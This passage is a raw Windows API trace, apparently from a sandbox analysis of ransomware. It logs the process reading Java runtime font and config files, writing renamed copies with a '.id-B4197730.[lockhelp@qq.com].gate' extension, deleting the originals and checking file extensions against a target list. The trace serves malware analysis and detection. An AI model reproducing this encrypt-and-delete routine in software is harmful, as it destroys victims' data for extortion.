lpString2=".jar") returned -1 [0294.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.182] lstrlenW (lpString=".1cd") returned 4 [0294.182] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.183] lstrlenW (lpString=".jpg") returned 4 [0294.183] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.183] lstrcmpiW (lpString1=".bfc", lpString2=".gate") returned -1 [0294.183] lstrlenW (lpString="fontconfig.bfc") returned 14 [0294.183] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0294.183] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3770) returned 1 [0294.183] CloseHandle (hObject=0x518) returned 1 [0294.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0294.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0294.184] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.184] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0294.184] GetLastError () returned 0x0 [0294.184] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xeba, lpOverlapped=0x0) returned 1 [0294.216] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec0, lpOverlapped=0x0) returned 1 [0294.217] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.217] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xf0, lpOverlapped=0x0) returned 1 [0294.217] SetEndOfFile (hFile=0x500) returned 1 [0294.217] CloseHandle (hObject=0x500) returned 1 [0294.220] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.220] SetEndOfFile (hFile=0x518) returned 1 [0294.224] CloseHandle (hObject=0x518) returned 1 [0294.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.227] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0294.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.228] lstrlenW (lpString=".doc") returned 4 [0294.228] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0294.228] lstrlenW (lpString=".docx") returned 5 [0294.228] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0294.228] lstrlenW (lpString=".pdf") returned 4 [0294.228] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0294.228] lstrlenW (lpString=".xls") returned 4 [0294.228] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0294.228] lstrlenW (lpString=".xlsx") returned 5 [0294.228] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0294.228] lstrlenW (lpString=".ppt") returned 4 [0294.228] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0294.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.228] lstrlenW (lpString=".zip") returned 4 [0294.228] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0294.228] lstrlenW (lpString=".rar") returned 4 [0294.228] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString=".bz2") returned 4 [0294.229] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString=".7z") returned 3 [0294.229] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0294.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.229] lstrlenW (lpString=".dbf") returned 4 [0294.229] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.229] lstrlenW (lpString=".1cd") returned 4 [0294.229] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0294.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.229] lstrlenW (lpString=".jpg") returned 4 [0294.229] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.229] lstrlenW (lpString=".doc") returned 4 [0294.229] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString=".docx") returned 5 [0294.229] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0294.229] lstrlenW (lpString=".pdf") returned 4 [0294.229] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString=".xls") returned 4 [0294.229] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString=".xlsx") returned 5 [0294.229] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0294.229] lstrlenW (lpString=".ppt") returned 4 [0294.229] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.229] lstrlenW (lpString=".zip") returned 4 [0294.229] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString=".rar") returned 4 [0294.229] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0294.229] lstrlenW (lpString=".bz2") returned 4 [0294.230] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0294.230] lstrlenW (lpString=".7z") returned 3 [0294.230] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0294.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.230] lstrlenW (lpString=".dbf") returned 4 [0294.230] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0294.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.230] lstrlenW (lpString=".1cd") returned 4 [0294.230] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0294.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0294.230] lstrlenW (lpString=".jpg") returned 4 [0294.230] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0294.230] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.230] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0294.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0294.232] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=75144) returned 1 [0294.232] CloseHandle (hObject=0x518) returned 1 [0294.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0294.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.232] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0294.233] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.233] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0294.306] GetLastError () returned 0x0 [0294.306] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x12588, lpOverlapped=0x0) returned 1 [0294.308] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x12590, lpOverlapped=0x0) returned 1 [0294.310] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.310] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x104, lpOverlapped=0x0) returned 1 [0294.310] SetEndOfFile (hFile=0x4e8) returned 1 [0294.311] CloseHandle (hObject=0x4e8) returned 1 [0294.311] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.311] SetEndOfFile (hFile=0x518) returned 1 [0294.394] CloseHandle (hObject=0x518) returned 1 [0294.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.493] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0294.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.493] lstrlenW (lpString=".doc") returned 4 [0294.493] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString=".docx") returned 5 [0294.494] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0294.494] lstrlenW (lpString=".pdf") returned 4 [0294.494] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString=".xls") returned 4 [0294.494] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.494] lstrlenW (lpString=".xlsx") returned 5 [0294.494] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0294.494] lstrlenW (lpString=".ppt") returned 4 [0294.494] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.494] lstrlenW (lpString=".zip") returned 4 [0294.494] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.494] lstrlenW (lpString=".rar") returned 4 [0294.494] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString=".bz2") returned 4 [0294.494] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString=".7z") returned 3 [0294.494] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.494] lstrlenW (lpString=".dbf") returned 4 [0294.494] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.494] lstrlenW (lpString=".1cd") returned 4 [0294.494] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.494] lstrlenW (lpString=".jpg") returned 4 [0294.494] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.494] lstrlenW (lpString=".doc") returned 4 [0294.494] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.495] lstrlenW (lpString=".docx") returned 5 [0294.495] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0294.495] lstrlenW (lpString=".pdf") returned 4 [0294.495] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.495] lstrlenW (lpString=".xls") returned 4 [0294.495] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.495] lstrlenW (lpString=".xlsx") returned 5 [0294.495] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0294.495] lstrlenW (lpString=".ppt") returned 4 [0294.495] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.495] lstrlenW (lpString=".zip") returned 4 [0294.495] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.495] lstrlenW (lpString=".rar") returned 4 [0294.495] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.495] lstrlenW (lpString=".bz2") returned 4 [0294.495] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.495] lstrlenW (lpString=".7z") returned 3 [0294.495] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.495] lstrlenW (lpString=".dbf") returned 4 [0294.495] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.495] lstrlenW (lpString=".1cd") returned 4 [0294.495] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0294.495] lstrlenW (lpString=".jpg") returned 4 [0294.495] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.495] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.495] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0294.496] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0294.496] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=698236) returned 1 [0294.496] CloseHandle (hObject=0x528) returned 1 [0294.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0294.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.496] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0294.496] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.496] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.497] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0294.497] GetLastError () returned 0x0 [0294.497] ReadFile (in: hFile=0x528, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0294.714] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xaa780, lpOverlapped=0x0) returned 1 [0294.757] ReadFile (in: hFile=0x528, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.757] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfe, lpOverlapped=0x0) returned 1 [0294.757] SetEndOfFile (hFile=0x4c4) returned 1 [0294.757] CloseHandle (hObject=0x4c4) returned 1 [0294.758] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.758] SetEndOfFile (hFile=0x528) returned 1 [0294.769] CloseHandle (hObject=0x528) returned 1 [0294.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.770] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0294.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.770] lstrlenW (lpString=".doc") returned 4 [0294.770] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString=".docx") returned 5 [0294.771] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0294.771] lstrlenW (lpString=".pdf") returned 4 [0294.771] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString=".xls") returned 4 [0294.771] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.771] lstrlenW (lpString=".xlsx") returned 5 [0294.771] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0294.771] lstrlenW (lpString=".ppt") returned 4 [0294.771] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.771] lstrlenW (lpString=".zip") returned 4 [0294.771] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.771] lstrlenW (lpString=".rar") returned 4 [0294.771] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString=".bz2") returned 4 [0294.771] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString=".7z") returned 3 [0294.771] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.771] lstrlenW (lpString=".dbf") returned 4 [0294.771] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.771] lstrlenW (lpString=".1cd") returned 4 [0294.771] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.771] lstrlenW (lpString=".jpg") returned 4 [0294.771] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.772] lstrlenW (lpString=".doc") returned 4 [0294.772] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.772] lstrlenW (lpString=".docx") returned 5 [0294.772] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0294.772] lstrlenW (lpString=".pdf") returned 4 [0294.772] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.772] lstrlenW (lpString=".xls") returned 4 [0294.772] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.772] lstrlenW (lpString=".xlsx") returned 5 [0294.772] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0294.772] lstrlenW (lpString=".ppt") returned 4 [0294.772] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.772] lstrlenW (lpString=".zip") returned 4 [0294.772] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.772] lstrlenW (lpString=".rar") returned 4 [0294.772] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.772] lstrlenW (lpString=".bz2") returned 4 [0294.772] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.772] lstrlenW (lpString=".7z") returned 3 [0294.772] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.772] lstrlenW (lpString=".dbf") returned 4 [0294.772] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.772] lstrlenW (lpString=".1cd") returned 4 [0294.772] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0294.772] lstrlenW (lpString=".jpg") returned 4 [0294.772] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.773] 